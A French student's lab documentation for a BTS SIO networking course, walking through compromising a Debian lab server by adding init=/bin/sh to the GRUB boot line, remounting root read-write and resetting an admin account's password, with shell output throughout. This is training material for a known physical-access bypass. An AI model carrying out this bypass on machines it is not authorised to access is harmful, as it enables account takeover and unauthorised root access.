BLOC 2 - Documentation annexe - Compromission de GRUB

Documentation rédigée par : GADONNAUD Ewen

Formation : BTS SIO 1ère année - Option SISR

Établissement : Lycée Paul-Louis Courier, Tours

Date : Novembre 2025

Lien de la documentation en ligne pour l'activité

Compromission du serveur via GRUB

Entrer dans la configuration du lancement GRUB en appuyant sur la touche e.

Puis, rajouter la ligne suivante après l'entrée `quiet` sur la ligne `linux` de la configuration GRUB :

```
quiet init=/bin/sh
```

Nous avons donc accès au système en mode “singleuser”, qui nous donne des permissions administrateur. Il va falloir monter la racine du système en mode lecture/écriture avec la commande suivante, afin d'utiliser la commande `passwd etudiant` pour changer le mot de passe du compte etudiant, et donc de compromettre le système :

```
mount -o remount,rw /
```

```
# mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1425340k,nr_inodes=356335,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=600,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=290992k,mode=755,inode64)
/dev/mapper/vgsio1-lvroot on / type btrfs (ro,relatime,discard=async,space_cache=v2,subvolid=256,subvol=/@rootfs)
# passwd etudiant
New password:
Retype new password:
passwd: Authentication token manipulation error
passwd: password unchanged
# mount -o remount,rw /
# mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=1425340k,nr_inodes=356335,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=600,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=290992k,mode=755,inode64)
/dev/mapper/vgsio1-lvroot on / type btrfs (rw,relatime,discard=async,space_cache=v2,subvolid=256,subvol=/@rootfs)
#
```

À présent, la racine est montée en lecture/écriture, nous pouvons donc changer le mot de passe du compte etudiant ayant les droits admin en utilisant la commande `passwd etudiant` :

```
# passwd etudiant
New password:
Retype new password:
passwd: password updated successfully
#
```

Nous pouvons donc à présent nous connecter au compte etudiant en utilisant le nouveau mot de passe défini plus tôt :

```
Debian GNU/Linux 13 SRV1 tty1

SRV1 login: etudiant
Password:
Linux SRV1 6.12.73+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.73-1 (2026-02-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
etudiant@SRV1:~$ _
```